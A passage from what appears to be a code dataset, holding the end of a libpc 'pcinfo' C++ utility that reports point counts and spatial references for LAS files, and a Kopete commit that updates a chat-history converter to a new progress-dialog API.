<iostream>\n\n#include \"Application.hpp\"\n\nusing namespace libpc;\nnamespace po = boost::program_options;\n\nclass Application_pcinfo : public Application\n{\npublic:\n Application_pcinfo(int argc, char* argv[]);\n int execute();\nprivate:\n void addOptions();\n bool validateOptions();\n\n std::string m_inputFile;\n};\n\n\nApplication_pcinfo::Application_pcinfo(int argc, char* argv[])\n : Application(argc, argv, \"pcinfo\")\n{\n}\n\n\nbool Application_pcinfo::validateOptions()\n{\n if (!hasOption(\"input\"))\n {\n usageError(\"input file name required\");\n return false;\n }\n\n return true;\n}\n\n\nvoid Application_pcinfo::addOptions()\n{\n po::options_description* file_options = new po::options_description(\"file options\");\n\n file_options->add_options()\n (\"input,i\", po::value<std::string>(&m_inputFile), \"input file name\")\n (\"native\", \"use native LAS classes (not liblas)\")\n ;\n\n addOptionSet(file_options);\n\n addPositionalOption(\"input\", 1);\n\n return;\n}\n\n\nint Application_pcinfo::execute()\n{\n if (!Utils::fileExists(m_inputFile))\n {\n runtimeError(\"file not found: \" + m_inputFile);\n return 1;\n }\n\n libpc::Stage* reader = NULL;\n size_t ext = m_inputFile.find_last_of('.');\n if (ext != std::string::npos)\n {\n ext++;\n if (!m_inputFile.substr(ext).compare(\"las\") ||\n !m_inputFile.substr(ext).compare(\"laz\"))\n {\n if (hasOption(\"native\"))\n {\n reader = new libpc::drivers::las::LasReader(m_inputFile);\n }\n else\n {\n reader = new libpc::drivers::liblas::LiblasReader(m_inputFile);\n }\n }\n#ifdef LIBPC_HAVE_MRSID\n else if (!m_inputFile.substr(ext).compare(\"sid\"))\n {\n reader = new libpc::drivers::mrsid::Reader(m_inputFile.c_str());\n }\n#endif\n }\n else\n {\n std::cerr << \"Cannot determine file type of \" << m_inputFile\n << \".\" << std::endl;\n return 1;\n }\n\n const boost::uint64_t numPoints = reader->getNumPoints();\n const SpatialReference& srs = reader->getSpatialReference();\n\n std::cout << numPoints << \" points\\n\";\n std::cout << \"WKT: \" << srs.getWKT() << \"\\n\";\n\n delete reader;\n\n return 0;\n}\n\nint main(int argc, char* argv[])\n{\n Application_pcinfo app(argc, argv);\n return app.run();\n}\n\n\n#if 0\n\n#include <liblas\/liblas.hpp>\n#include \"laskernel.hpp\"\n\n#include <boost\/cstdint.hpp>\n#include <boost\/foreach.hpp>\n\n#include <locale>\n\n\nusing namespace liblas;\nusing namespace std;\n\n\nliblas::Summary check_points( liblas::Reader& reader,\n std::vector<liblas::FilterPtr>& filters,\n std::vector<liblas::TransformPtr>& transforms,\n bool verbose)\n{\n\n liblas::Summary summary;\n \n reader.SetFilters(filters);\n reader.SetTransforms(transforms);\n\n\n\n if (verbose)\n std::cout << \"Scanning points:\" \n << \"\\n - : \"\n << std::endl;\n\n \/\/\n \/\/ Translation of points cloud to features set\n \/\/\n boost::uint32_t i = 0;\n boost::uint32_t const size = reader.GetHeader().GetPointRecordsCount();\n \n\n while (reader.ReadNextPoint())\n {\n liblas::Point const& p = reader.GetPoint();\n summary.AddPoint(p);\n if (verbose)\n term_progress(std::cout, (i + 1) \/ static_cast<double>(size));\n i++;\n\n }\n if (verbose)\n std::cout << std::endl;\n \n return summary;\n \n}\n\nvoid OutputHelp( std::ostream & oss, po::options_description const& options)\n{\n oss << \"--------------------------------------------------------------------\\n\";\n oss << \" lasinfo (\" << GetFullVersion() << \")\\n\";\n oss << \"--------------------------------------------------------------------\\n\";\n\n oss << options;\n\n oss <<\"\\nFor more information, see the full documentation for lasinfo at:\\n\";\n \n oss << \" http:\/\/liblas.org\/utilities\/lasinfo.html\\n\";\n oss << \"----------------------------------------------------------\\n\";\n\n}\n\nvoid PrintVLRs(std::ostream& os, liblas::Header const& header)\n{\n if (!header.GetRecordsCount())\n return ;\n \n os << \"---------------------------------------------------------\" << std::endl;\n os << \" VLR Summary\" << std::endl;\n os << \"---------------------------------------------------------\" << std::endl;\n \n typedef std::vector<VariableRecord>::size_type size_type;\n for(size_type i = 0; i < header.GetRecordsCount(); i++) {\n liblas::VariableRecord const& v = header.GetVLR(i);\n os << v;\n }\n \n}\n\n\nint main(int argc, char* argv[])\n{\n\n std::string input;\n\n bool verbose = false;\n bool check = true;\n bool show_vlrs = true;\n bool show_schema = true;\n bool output_xml = false;\n bool output_json = false;\n bool show_point = false;\n bool use_locale = false;\n boost::uint32_t point = 0;\n \n std::vector<liblas::FilterPtr> filters;\n std::vector<liblas::TransformPtr> transforms;\n \n liblas::Header header;\n\n try {\n\n po::options_description file_options(\"lasinfo options\");\n po::options_description filtering_options = GetFilteringOptions();\n po::options_description header_options = GetHeaderOptions();\n\n po::positional_options_description p;\n p.add(\"input\", 1);\n p.add(\"output\", 1);\n\n file_options.add_options()\n (\"help,h\", \"produce help message\")\n (\"input,i\", po::value< string >(), \"input LAS file\")\n\n (\"verbose,v\", po::value<bool>(&verbose)->zero_tokens(), \"Verbose message output\")\n (\"no-vlrs\", po::value<bool>(&show_vlrs)->zero_tokens()->implicit_value(false), \"Don't show VLRs\")\n (\"no-schema\", po::value<bool>(&show_schema)->zero_tokens()->implicit_value(false), \"Don't show schema\")\n (\"no-check\", po::value<bool>(&check)->zero_tokens()->implicit_value(false), \"Don't scan points\")\n (\"xml\", po::value<bool>(&output_xml)->zero_tokens()->implicit_value(true), \"Output as XML\")\n (\"point,p\", po::value<boost::uint32_t>(&point), \"Display a point with a given id. --point 44\")\n\n (\"locale\", po::value<bool>(&use_locale)->zero_tokens()->implicit_value(true), \"Use the environment's locale for output\")\n\n\/\/ --xml\n\/\/ --json\n\/\/ --restructured text output\n ;\n\n po::variables_map vm;\n po::options_description options;\n options.add(file_options).add(filtering_options);\n po::store(po::command_line_parser(argc, argv).\n options(options).positional(p).run(), vm);\n\n po::notify(vm);\n\n if (vm.count(\"help\")) \n {\n OutputHelp(std::cout, options);\n return 1;\n }\n\n if (vm.count(\"point\")) \n {\n show_point = true;\n }\n\n if (vm.count(\"input\")) \n {\n input = vm[\"input\"].as< string >();\n std::ifstream ifs;\n if (verbose)\n std::cout << \"Opening \" << input << \" to fetch Header\" << std::endl;\n if (!liblas::Open(ifs, input.c_str()))\n {\n std::cerr << \"Cannot open \" << input << \" for read. Exiting...\" << std::endl;\n return 1;\n }\n liblas::ReaderFactory f;\n liblas::Reader reader = f.CreateWithStream(ifs);\n header = reader.GetHeader();\n } else {\n std::cerr << \"Input LAS file not specified!\\n\";\n OutputHelp(std::cout, options);\n return 1;\n }\n\n\n filters = GetFilters(vm, verbose);\n\n std::ifstream ifs;\n if (!liblas::Open(ifs, input.c_str()))\n {\n std::cerr << \"Cannot open \" << input << \" for read. Exiting...\" << std::endl;\n return false;\n }\n \n\n liblas::ReaderFactory f;\n liblas::Reader reader = f.CreateWithStream(ifs);\n if (show_point)\n {\n try \n {\n reader.ReadPointAt(point);\n liblas::Point const& p = reader.GetPoint();\n if (output_xml) {\n liblas::property_tree::ptree tree;\n tree = p.GetPTree();\n liblas::property_tree::write_xml(std::cout, tree);\n exit(0);\n } \n else \n {\n if (use_locale)\n {\n std::locale l(\"\");\n std::cout.imbue(l);\n }\n std::cout << p << std::endl;\n exit(0); \n }\n \n } catch (std::out_of_range const& e)\n {\n std::cerr << \"Unable to read point at index \" << point << \": \" << e.what() << std::endl;\n exit(1);\n \n }\n\n }\n\n liblas::Summary summary;\n if (check)\n summary = check_points( reader, \n filters,\n transforms,\n verbose\n );\n\n liblas::Header const& header = reader.GetHeader();\n\n \/\/ Add the header to the summary so we can get more detailed \n \/\/ info\n summary.SetHeader(header);\n \n if (output_xml && output_json) {\n std::cerr << \"both JSON and XML output cannot be chosen\";\n return 1;\n }\n if (output_xml) {\n liblas::property_tree::ptree tree;\n if (check)\n tree = summary.GetPTree();\n else \n {\n tree.add_child(\"summary.header\", header.GetPTree());\n }\n \n liblas::property_tree::write_xml(std::cout, tree);\n return 0;\n }\n\n if (use_locale)\n {\n std::locale l(\"\");\n std::cout.imbue(l);\n }\n\n std::cout << header << std::endl; \n if (show_vlrs)\n PrintVLRs(std::cout, header);\n\n if (show_schema)\n std::cout << header.GetSchema();\n \n if (check) {\n std::cout << summary << std::endl;\n \n }\n }\n catch(std::exception& e) {\n std::cerr << \"error: \" << e.what() << \"\\n\";\n return 1;\n }\n catch(...) {\n std::cerr << \"Exception of unknown type!\\n\";\n }\n \n return 0;\n\n\n}\n\n\/\/las2las2 -i lt_srs_rt.las -o foo.las -c 1,2 -b 2483590,366208,2484000,366612\n#endif\n<|endoftext|>"} {"text":"<commit_before>\/\/Olivier Goffart <ogoffart@kde.org>\n\/\/ 2003 06 26\n\n#include \"historyplugin.h\" \/\/just needed because we are a member of this class\n \/\/ we don't use any history function here\n\n\/**-----------------------------------------------------------\n * CONVERTER from the old kopete history.\n * it port history from kopete 0.6, 0.5 and above the actual\n * this should be placed in a perl script handled by KConf_update\n * but i need to acess to some info i don't have with perl, like\n * the accountId, to know each protocol id, and more\n *-----------------------------------------------------------*\/\n\n#include \"kopetepluginmanager.h\"\n#include \"kopeteaccount.h\"\n#include \"kopeteaccountmanager.h\"\n#include \"kopetecontact.h\"\n#include \"kopetemessage.h\"\n#include \"kopeteprotocol.h\"\n#include \"kopeteuiglobal.h\"\n\n#include <kconfig.h>\n#include <kdebug.h>\n#include <klocale.h>\n#include <kstandarddirs.h>\n#include <kmessagebox.h>\n#include <kprogressdialog.h>\n#include <ksavefile.h>\n\n#include <QDir>\n#include <QtXml> \/\/ old qdom.h\n#include <QRegExp>\n#include <QTextStream>\n#include <QApplication>\n#define CBUFLENGTH 512 \/\/ buffer length for fgets()\n\nvoid HistoryPlugin::convertOldHistory()\n{\n\tbool deleteFiles= KMessageBox::questionYesNo( Kopete::UI::Global::mainWidget(),\n\t\ti18n( \"Would you like to remove old history files?\" ) , i18n( \"History Converter\" ), KStandardGuiItem::del(), KGuiItem( i18n(\"Keep\") ) ) == KMessageBox::Yes;\n\n\tKProgressDialog *progressDlg=new KProgressDialog(Kopete::UI::Global::mainWidget() , i18n( \"History converter\" ) ,\n\t\t QString::null , true); \/\/modal to make sure the user will not doing stupid things (we have a qApp->processEvents())\n\tprogressDlg->setAllowCancel(false); \/\/because i am too lazy to allow to cancel\n\n\n\tQString kopetedir=KStandardDirs::locateLocal( \"data\", QString::fromLatin1( \"kopete\"));\n\tQDir d( kopetedir ); \/\/d should point to ~\/.kde\/share\/apps\/kopete\/\n\n\td.setFilter( QDir::Dirs );\n\n\tconst QFileInfoList list = d.entryInfoList();\n\tQFileInfo fi;\n\n\tforeach(fi, list)\n\t{\n\t\tQString protocolId;\n\t\tQString accountId;\n\n\t\tif( Kopete::Protocol *p = dynamic_cast<Kopete::Protocol *>( Kopete::PluginManager::self()->plugin( fi.fileName() ) ) )\n\t\t{\n\t\t\tprotocolId=p->pluginId();\n\t\t\t\n\t\t\tQList<Kopete::Account*> accountList = Kopete::AccountManager::self()->accounts(p);\n\t\t\tKopete::Account *a = accountList.first();\n\t\t\tif(a)\n\t\t\t\taccountId=a->accountId();\n\t\t}\n\n\t\tif(accountId.isNull() || protocolId.isNull())\n\t\t{\n\t\t\tif(fi.fileName() == \"MSNProtocol\" || fi.fileName() == \"msn_logs\" )\n\t\t\t{\n\t\t\t\tprotocolId=\"MSNProtocol\";\n\t\t\t\taccountId=KGlobal::config()->group(\"MSN\").readEntry( \"UserID\" );\n\t\t\t}\n\t\t\telse if(fi.fileName() == \"ICQProtocol\" || fi.fileName() == \"icq_logs\" )\n\t\t\t{\n\t\t\t\tprotocolId=\"ICQProtocol\";\n\t\t\t\taccountId=KGlobal::config()->group(\"ICQ\").readEntry( \"UIN\" );\n\t\t\t}\n\t\t\telse if(fi.fileName() == \"AIMProtocol\" || fi.fileName() == \"aim_logs\" )\n\t\t\t{\n\t\t\t\tprotocolId=\"AIMProtocol\";\n\t\t\t\taccountId=KGlobal::config()->group(\"AIM\").readEntry( \"UserID\" );\n\t\t\t}\n\t\t\telse if(fi.fileName() == \"OscarProtocol\" )\n\t\t\t{\n\t\t\t\tprotocolId=\"AIMProtocol\";\n\t\t\t\taccountId=KGlobal::config()->group(\"OSCAR\").readEntry( \"UserID\" );\n\t\t\t}\n\t\t\telse if(fi.fileName() == \"JabberProtocol\" || fi.fileName() == \"jabber_logs\")\n\t\t\t{\n\t\t\t\tprotocolId=\"JabberProtocol\";\n\t\t\t\taccountId=KGlobal::config()->group(\"Jabber\").readEntry( \"UserID\" );\n\t\t\t}\n\t\t\t\/\/TODO: gadu, wp\n\t\t}\n\n\t\tif(!protocolId.isEmpty() || !accountId.isEmpty())\n\t\t{\n\t\t\tQDir d2( fi.absoluteFilePath() );\n\t\t\td2.setFilter( QDir::Files );\n\t\t\td2.setNameFilters( QStringList(\"*.log\") );\n\t\t\tconst QFileInfoList list = d2.entryInfoList();;\n\t\t\tQFileInfo fi2;\n\n\t\t\tprogressDlg->progressBar()->reset();\n\t\t\tprogressDlg->progressBar()->setMaximum(d2.count());\n\t\t\tprogressDlg->setLabel(i18n(\"Parsing old history in %1\", fi.fileName()));\n\t\t\tprogressDlg->show(); \/\/if it was not already showed...\n\n\t\t\tforeach(fi2, list)\n\t\t\t{\n\t\t\t\t\/\/we assume that all \"-\" are dots. (like in hotmail.com)\n\t\t\t\tQString contactId=fi2.fileName().replace(\".log\" , QString()).replace(\"-\" , \".\");\n\n\t\t\t\tif(!contactId.isEmpty() )\n\t\t\t\t{\n\t\t\t\t\tprogressDlg->setLabel(i18n(\"Parsing old history in %1:\\n%2\", fi.fileName(), contactId));\n\t\t\t\t\tqApp->processEvents(0); \/\/make sure the text is updated in the progressDlg\n\n\t\t\t\t\tint month=0;\n\t\t\t\t\tint year=0;\n\t\t\t\t\tQDomDocument doc;\n\t\t\t\t\tQDomElement docElem;\n\n\t\t\t\t\tQDomElement msgelement;\n\t\t\t\t\tQDomNode node;\n\t\t\t\t\tQDomDocument xmllist;\n\t\t\t\t\tKopete::Message::MessageDirection dir;\n\t\t\t\t\tQString body, date, nick;\n\t\t\t\t\tQString buffer, msgBlock;\n\t\t\t\t\tchar cbuf[CBUFLENGTH]; \/\/ buffer for the log file\n\n\t\t\t\t\tQString logFileName = fi2.absoluteFilePath();\n\n\t\t\t\t\t\/\/ open the file\n\t\t\t\t\tFILE *f = fopen(QFile::encodeName(logFileName), \"r\");\n\n\t\t\t\t\t\/\/ create a new <message> block\n\t\t\t\t\twhile ( ! feof( f ) )\n\t\t\t\t\t{\n\t\t\t\t\t\tfgets(cbuf, CBUFLENGTH, f);\n\t\t\t\t\t\tbuffer = QString::fromUtf8(cbuf);\n\n\t\t\t\t\t\twhile ( strchr(cbuf, '\\n') == NULL && !feof(f) )\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tfgets( cbuf, CBUFLENGTH, f );\n\t\t\t\t\t\t\tbuffer += QString::fromUtf8(cbuf);\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tif( buffer.startsWith( QString::fromLatin1( \"<message \" ) ) )\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tmsgBlock = buffer;\n\n\t\t\t\t\t\t\t\/\/ find the end of the message block\n\t\t\t\t\t\t\twhile( !feof( f ) && buffer != QString::fromLatin1( \"<\/message>\\n\" ) \/*strcmp(\"<\/message>\\n\", cbuf )*\/ )\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tfgets(cbuf, CBUFLENGTH, f);\n\t\t\t\t\t\t\t\tbuffer = QString::fromUtf8(cbuf);\n\n\t\t\t\t\t\t\t\twhile ( strchr(cbuf, '\\n') == NULL && !feof(f) )\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tfgets( cbuf, CBUFLENGTH, f );\n\t\t\t\t\t\t\t\t\tbuffer += QString::fromUtf8(cbuf);\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tmsgBlock.append(buffer);\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\/\/ now let's work on this new block\n\t\t\t\t\t\t\txmllist.setContent(msgBlock, false);\n\t\t\t\t\t\t\tmsgelement = xmllist.documentElement();\n\t\t\t\t\t\t\tnode = msgelement.firstChild();\n\n\t\t\t\t\t\t\tif( msgelement.attribute( QString::fromLatin1( \"direction\" ) ) == QString::fromLatin1( \"inbound\" ) )\n\t\t\t\t\t\t\t\tdir = Kopete::Message::Inbound;\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\tdir = Kopete::Message::Outbound;\n\n\t\t\t\t\t\t\t\/\/ Read all the elements.\n\t\t\t\t\t\t\tQString tagname;\n\t\t\t\t\t\t\tQDomElement element;\n\n\t\t\t\t\t\t\twhile ( ! node.isNull() )\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tif ( node.isElement() )\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\telement = node.toElement();\n\t\t\t\t\t\t\t\t\ttagname = element.tagName();\n\n\t\t\t\t\t\t\t\t\tif( tagname == QString::fromLatin1( \"srcnick\" ) )\n\t\t\t\t\t\t\t\t\t\tnick = element.text();\n\n\t\t\t\t\t\t\t\t\telse if( tagname == QString::fromLatin1( \"date\" ) )\n\t\t\t\t\t\t\t\t\t\tdate = element.text();\n\t\t\t\t\t\t\t\t\telse if( tagname == QString::fromLatin1( \"body\" ) )\n\t\t\t\t\t\t\t\t\t\tbody = element.text().trimmed();\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\tnode = node.nextSibling();\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\/\/FIXME!! The date in logs writed with kopete running with QT 3.0 is Localised.\n\t\t\t\t\t\t\t\/\/ so QT can't parse it correctly.\n\t\t\t\t\t\t\tQDateTime dt=QDateTime::fromString(date);\n\t\t\t\t\t\t\tif(dt.date().month() != month || dt.date().year() != year)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tif(!docElem.isNull())\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tQDate date(year,month,1);\n\t\t\t\t\t\t\t\t\tQString name = protocolId.replace( QRegExp( QString::fromLatin1( \"[.\/~?*]\" ) ), QString::fromLatin1( \"-\" ) ) +\n\t\t\t\t\t\t\t\t\t\t\tQString::fromLatin1( \"\/\" ) +\n\t\t\t\t\t\t\t\t\t\t\tcontactId.replace( QRegExp( QString::fromLatin1( \"[.\/~?*]\" ) ), QString::fromLatin1( \"-\" ) ) +\n\t\t\t\t\t\t\t\t\t\t\tdate.toString(\".yyyyMM\");\n\t\t\t\t\t\t\t\t\tKSaveFile file( KStandardDirs::locateLocal( \"data\", QString::fromLatin1( \"kopete\/logs\/\" ) + name +\n\t\t\t\t\t\t\t\t\t QString::fromLatin1( \".xml\" ) ) );\n\t\t\t\t\t\t\t\t\tif( file.open() )\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\tQTextStream stream ( &file );\n\t\t\t\t\t\t\t\t\t\t\/\/stream.setEncoding( QTextStream::UnicodeUTF8 ); \/\/???? oui ou non?\n\t\t\t\t\t\t\t\t\t\tdoc.save( stream , 1 );\n\t\t\t\t\t\t\t\t\t\tfile.finalize();\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\n\n\t\t\t\t\t\t\t\tmonth=dt.date().month();\n\t\t\t\t\t\t\t\tyear=dt.date().year();\n\t\t\t\t\t\t\t\tdocElem=QDomElement();\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\tif(docElem.isNull())\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tdoc=QDomDocument(\"Kopete-History\");\n\t\t\t\t\t\t\t\tdocElem= doc.createElement( \"kopete-history\" );\n\t\t\t\t\t\t\t\tdocElem.setAttribute ( \"version\" , \"0.7\" );\n\t\t\t\t\t\t\t\tdoc.appendChild( docElem );\n\t\t\t\t\t\t\t\tQDomElement headElem = doc.createElement( \"head\" );\n\t\t\t\t\t\t\t\tdocElem.appendChild( headElem );\n\t\t\t\t\t\t\t\tQDomElement dateElem = doc.createElement( \"date\" );\n\t\t\t\t\t\t\t\tdateElem.setAttribute( \"year\", QString::number(year) );\n\t\t\t\t\t\t\t\tdateElem.setAttribute( \"month\", QString::number(month) );\n\t\t\t\t\t\t\t\theadElem.appendChild(dateElem);\n\t\t\t\t\t\t\t\tQDomElement myselfElem = doc.createElement( \"contact\" );\n\t\t\t\t\t\t\t\tmyselfElem.setAttribute( \"type\", \"myself\" );\n\t\t\t\t\t\t\t\tmyselfElem.setAttribute( \"contactId\", accountId );\n\t\t\t\t\t\t\t\theadElem.appendChild(myselfElem);\n\t\t\t\t\t\t\t\tQDomElement contactElem = doc.createElement( \"contact\" );\n\t\t\t\t\t\t\t\tcontactElem.setAttribute( \"contactId\", contactId );\n\t\t\t\t\t\t\t\theadElem.appendChild(contactElem);\n\t\t\t\t\t\t\t\tQDomElement importElem = doc.createElement( \"imported\" );\n\t\t\t\t\t\t\t\timportElem.setAttribute( \"from\", fi.fileName() );\n\t\t\t\t\t\t\t\timportElem.setAttribute( \"date\", QDateTime::currentDateTime().toString() );\n\t\t\t\t\t\t\t\theadElem.appendChild(importElem);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tQDomElement msgElem = doc.createElement( \"msg\" );\n\t\t\t\t\t\t\tmsgElem.setAttribute( \"in\", dir==Kopete::Message::Outbound ? \"0\" : \"1\" );\n\t\t\t\t\t\t\tmsgElem.setAttribute( \"from\", dir==Kopete::Message::Outbound ? accountId : contactId );\n\t\t\t\t\t\t\tmsgElem.setAttribute( \"nick\", nick ); \/\/do we have to set this?\n\t\t\t\t\t\t\tmsgElem.setAttribute( \"time\", QString::number(dt.date().day()) + ' ' + QString::number(dt.time().hour()) + ':' + QString::number(dt.time().minute()) );\n\t\t\t\t\t\t\tQDomText msgNode = doc.createTextNode( body.trimmed() );\n\t\t\t\t\t\t\tdocElem.appendChild( msgElem );\n\t\t\t\t\t\t\tmsgElem.appendChild( msgNode );\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\tfclose( f );\n\t\t\t\t\tif(deleteFiles)\n\t\t\t\t\t\td2.remove(fi2.fileName());\n\n\t\t\t\t\tif(!docElem.isNull())\n\t\t\t\t\t{\n\t\t\t\t\t\tQDate date(year,month,1);\n\t\t\t\t\t\tQString name = protocolId.replace( QRegExp( QString::fromLatin1( \"[.\/~?*]\" ) ), QString::fromLatin1( \"-\" ) ) +\n\t\t\t\t\t\t\t\tQString::fromLatin1( \"\/\" ) +\n\t\t\t\t\t\t\t\tcontactId.replace( QRegExp( QString::fromLatin1( \"[.\/~?*]\" ) ), QString::fromLatin1( \"-\" ) ) +\n\t\t\t\t\t\t\t\tdate.toString(\".yyyyMM\");\n\t\t\t\t\t\tKSaveFile file( KStandardDirs::locateLocal( \"data\", QString::fromLatin1( \"kopete\/logs\/\" ) + name +\n\t\t\t\t\t\t QString::fromLatin1( \".xml\" ) ) );\n\t\t\t\t\t\tif( file.open() )\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tQTextStream stream ( &file );\n\t\t\t\t\t\t\t\/\/stream.setEncoding( QTextStream::UnicodeUTF8 ); \/\/???? oui ou non?\n\t\t\t\t\t\t\tdoc.save( stream ,1 );\n\t\t\t\t\t\t\tfile.finalize();\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t}\n\t\t\t\tprogressDlg->progressBar()->setValue(progressDlg->progressBar()->value()+1);\n\t\t\t}\n\t\t}\n\t}\n\tdelete progressDlg;\n\n}\n\n\nbool HistoryPlugin::detectOldHistory()\n{\n\tQString version=KGlobal::config()->group(\"History Plugin\").readEntry( \"Version\" ,\"0.6\" );\n\n\tif(version != \"0.6\")\n\t\treturn false;\n\n\n\tQDir d( KStandardDirs::locateLocal( \"data\", QString::fromLatin1( \"kopete\/logs\")) );\n\td.setFilter( QDir::Dirs );\n\tif(d.count() >= 3) \/\/ '.' and '..' are included\n\t\treturn false; \/\/the new history already exists\n\n\tQDir d2( KStandardDirs::locateLocal( \"data\", QString::fromLatin1( \"kopete\")) );\n\td2.setFilter( QDir::Dirs );\n\tconst QFileInfoList list = d2.entryInfoList();\n\tQFileInfo fi;\n\n\tforeach(fi, list)\n\t{\n\t\tif( dynamic_cast<Kopete::Protocol *>( Kopete::PluginManager::self()->plugin( fi.fileName() ) ) )\n\t\t\treturn true;\n\n\t\tif(fi.fileName() == \"MSNProtocol\" || fi.fileName() == \"msn_logs\" )\n\t\t\treturn true;\n\t\telse if(fi.fileName() == \"ICQProtocol\" || fi.fileName() == \"icq_logs\" )\n\t\t\treturn true;\n\t\telse if(fi.fileName() == \"AIMProtocol\" || fi.fileName() == \"aim_logs\" )\n\t\t\treturn true;\n\t\telse if(fi.fileName() == \"OscarProtocol\" )\n\t\t\treturn true;\n\t\telse if(fi.fileName() == \"JabberProtocol\" || fi.fileName() == \"jabber_logs\")\n\t\t\treturn true;\n\t}\n\treturn false;\n}\n<commit_msg>adopt to new API<commit_after>\/\/Olivier Goffart <ogoffart@kde.org>\n\/\/ 2003 06 26\n\n#include \"historyplugin.h\" \/\/just needed because we are a member of this class\n \/\/ we don't use any history function here\n\n\/**-----------------------------------------------------------\n * CONVERTER from the old kopete history.\n * it port history from kopete 0.6, 0.5 and above the actual\n * this should be placed in a perl script handled by KConf_update\n * but i need to acess to some info i don't have with perl, like\n * the accountId, to know each protocol id, and more\n *-----------------------------------------------------------*\/\n\n#include \"kopetepluginmanager.h\"\n#include \"kopeteaccount.h\"\n#include \"kopeteaccountmanager.h\"\n#include \"kopetecontact.h\"\n#include \"kopetemessage.h\"\n#include \"kopeteprotocol.h\"\n#include \"kopeteuiglobal.h\"\n\n#include <kconfig.h>\n#include <kdebug.h>\n#include <klocale.h>\n#include <kstandarddirs.h>\n#include <kmessagebox.h>\n#include <kprogressdialog.h>\n#include <ksavefile.h>\n\n#include <QDir>\n#include <QtXml> \/\/ old qdom.h\n#include <QRegExp>\n#include <QTextStream>\n#include <QApplication>\n#define CBUFLENGTH 512 \/\/ buffer length for fgets()\n\nvoid HistoryPlugin::convertOldHistory()\n{\n\tbool deleteFiles= KMessageBox::questionYesNo( Kopete::UI::Global::mainWidget(),\n\t\ti18n( \"Would you like to remove old history files?\" ) , i18n( \"History Converter\" ), KStandardGuiItem::del(), KGuiItem( i18n(\"Keep\") ) ) == KMessageBox::Yes;\n\n\tKProgressDialog *progressDlg=new KProgressDialog(Kopete::UI::Global::mainWidget() , i18n( \"History converter\" ));\n\tprogressDlg->setModal(true); \/\/modal to make sure the user will not doing stupid things (we have a qApp->processEvents())\n\tprogressDlg->setAllowCancel(false); \/\/because i am too lazy to allow to cancel\n\n\n\tQString kopetedir=KStandardDirs::locateLocal( \"data\", QString::fromLatin1( \"kopete\"));\n\tQDir d( kopetedir ); \/\/d should point to ~\/.kde\/share\/apps\/kopete\/\n\n\td.setFilter( QDir::Dirs );\n\n\tconst QFileInfoList list = d.entryInfoList();\n\tQFileInfo fi;\n\n\tforeach(fi, list)\n\t{\n\t\tQString protocolId;\n\t\tQString accountId;\n\n\t\tif( Kopete::Protocol *p = dynamic_cast<Kopete::Protocol *>( Kopete::PluginManager::self()->plugin( fi.fileName() ) ) )\n\t\t{\n\t\t\tprotocolId=p->pluginId();\n\t\t\t\n\t\t\tQList<Kopete::Account*> accountList = Kopete::AccountManager::self()->accounts(p);\n\t\t\tKopete::Account *a = accountList.first();\n\t\t\tif(a)\n\t\t\t\taccountId=a->accountId();\n\t\t}\n\n\t\tif(accountId.isNull() || protocolId.isNull())\n\t\t{\n\t\t\tif(fi.fileName() == \"MSNProtocol\" || fi.fileName() == \"msn_logs\" )\n\t\t\t{\n\t\t\t\tprotocolId=\"MSNProtocol\";\n\t\t\t\taccountId=KGlobal::config()->group(\"MSN\").readEntry( \"UserID\" );\n\t\t\t}\n\t\t\telse if(fi.fileName() == \"ICQProtocol\" || fi.fileName() == \"icq_logs\" )\n\t\t\t{\n\t\t\t\tprotocolId=\"ICQProtocol\";\n\t\t\t\taccountId=KGlobal::config()->group(\"ICQ\").readEntry( \"UIN\" );\n\t\t\t}\n\t\t\telse if(fi.fileName() == \"AIMProtocol\" || fi.fileName() == \"aim_logs\" )\n\t\t\t{\n\t\t\t\tprotocolId=\"AIMProtocol\";\n\t\t\t\taccountId=KGlobal::config()->group(\"AIM\").readEntry( \"UserID\" );\n\t\t\t}\n\t\t\telse if(fi.fileName() == \"OscarProtocol\" )\n\t\t\t{\n\t\t\t\tprotocolId=\"AIMProtocol\";\n\t\t\t\taccountId=KGlobal::config()->group(\"OSCAR\").readEntry( \"UserID\" );\n\t\t\t}\n\t\t\telse if(fi.fileName() == \"JabberProtocol\" || fi.fileName() == \"jabber_logs\")\n\t\t\t{\n\t\t\t\tprotocolId=\"JabberProtocol\";\n\t\t\t\taccountId=KGlobal::config()->group(\"Jabber\").readEntry( \"UserID\" );\n\t\t\t}\n\t\t\t\/\/TODO: gadu, wp\n\t\t}\n\n\t\tif(!protocolId.isEmpty() || !accountId.isEmpty())\n\t\t{\n\t\t\tQDir d2( fi.absoluteFilePath() );\n\t\t\td2.setFilter( QDir::Files );\n\t\t\td2.setNameFilters( QStringList(\"*.log\") );\n\t\t\tconst QFileInfoList list = d2.entryInfoList();;\n\t\t\tQFileInfo fi2;\n\n\t\t\tprogressDlg->progressBar()->reset();\n\t\t\tprogressDlg->progressBar()->setMaximum(d2.count());\n\t\t\tprogressDlg->setLabel(i18n(\"Parsing old history in %1\", fi.fileName()));\n\t\t\tprogressDlg->show(); \/\/if it was not already showed...\n\n\t\t\tforeach(fi2, list)\n\t\t\t{\n\t\t\t\t\/\/we assume that all \"-\" are dots. (like in hotmail.com)\n\t\t\t\tQString contactId=fi2.fileName().replace(\".log\" , 